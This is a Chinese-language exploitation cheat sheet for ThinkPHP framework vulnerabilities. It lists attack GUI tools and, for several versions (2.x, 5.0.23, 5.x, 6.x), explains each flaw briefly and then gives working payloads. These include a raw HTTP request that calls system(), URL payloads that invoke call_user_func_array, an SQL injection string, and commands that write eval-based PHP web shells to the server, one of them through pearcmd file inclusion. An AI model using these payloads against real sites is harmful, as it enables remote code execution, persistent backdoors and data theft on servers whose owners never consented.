ThinkPHP,是为了简化企业级应用开发和敏捷WEB应用开发而诞生的开源轻量级PHP框架。最早诞生于2006年初,2007年元旦正式更名为ThinkPHP,并且遵循Apache2开源协议发布。ThinkPHP从诞生以来一直秉承简洁实用的设计原则,在保持出色的性能和至简的代码的同时,也注重易用性。并且拥有众多原创功能和特性,在社区团队的积极参与下,在易用性、扩展性和性能方面不断优化和改进。
漏洞利用工具
已有工具:
ThinkPHP.V2.3.by蓝鲸
ThinkphpGUI 2020HackingClub线下典藏版
Thinkphp全网GUI圈子社区专版
ThinkphpGUI-1.3-SNAPSHOT
thinkphpScan
Thinkphp2.1
RCE
原理
(1)首先是需要php版本小于5.6.29;
(2)是使用了preg_replace函数,且使用了/e的命令可执行模式;
(3)在一组数据{abcdefgh}中,通过命令执行函数的方式,该数组可以依次执行:a-->b(值即执行b语句) c-->d(值即执行d语句),而在thinkphp中正好该方式体现在url的路由上,故会有s=/index(a)/index(b)/xxx(c)/${print(phpinfo())}(d)的payload;
(4)了解为什么${}会执行,在PHP当中,${}是可以构造一个变量的,{}写的是一般的字符,那么就会被当成变量,比如${a}等价于$a,那如果{}写的是一个已知函数名称呢?那么这个函数就会被执行;
特征:/index.php
测试语句
http://xx.xx.xx.xx:8080/index.php?s=/index/index/xxx/${@phpinfo()}
http://xx.xx.xx.xx:8080/index.php?s=/Index/index/xxx/${@print(eval($_POST[1]))}(传马)
靶场界面
Thinkphp5.0.23
远程代码执行
原理
5.0.23 以前的版本中,获取 method
的方法中没有正确处理方法名,导致攻击者可以调用 Request 类任意方法并构造利用链,从而导致远程代码执行漏洞。
测试语句
POST /index.php?s=captcha HTTP/1.1
Host: x.x.x.x:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: settingStore=1630480512401_0
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 73
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=执行代码
#echo "<?php eval(\$_POST[x]); ?>" > /var/www/public/h.php 一句话木马
靶场界面
Thinkphp5.x
RCE
原理
ThinkPHP是一款运用极广的PHP开发框架。其版本5中,由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞。
THINKPHP 5.0.5-5.0.22
THINKPHP 5.1.0-5.1.30
测试语句
index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=命令
#echo "<?php eval(\$_POST[x]); ?>" > /var/www/public/h.php
Thinkphp5.x
Thinkphp-In-sqlinjection-rce
原理
在 Builder 类的 parseData 方法中,由于程序没有对数据进行很好的过滤,将数据拼接进 SQL 语句,导致 SQL注入漏洞的产生。
5.0.13<=ThinkPHP<=5.0.15 、 5.1.0<=ThinkPHP<=5.1.5
测试语句
/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1
Thinkphp lang-rce
原理
ThinkPHP是一个在中国使用较多的PHP框架。在其6.0.13版本及以前,存在一处本地文件包含漏洞。当多语言特性被开启时,攻击者可以>使用`lang`参数来包含任意PHP文件。
虽然只能包含本地PHP文件,但在开启了`register_argc_argv`且安装了pcel/pear的环境下,可以包含`/usr/local/lib/php/pearcmd.php`并写入任意文件。
v6.0.1 < Thinkphp < v6.0.13
Thinkphp v5.0.x
Thinkphp v5.1.x
写webshell
?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/<?=@eval($_REQUEST['a']);?>+/var/www/html/a.php
靶场界面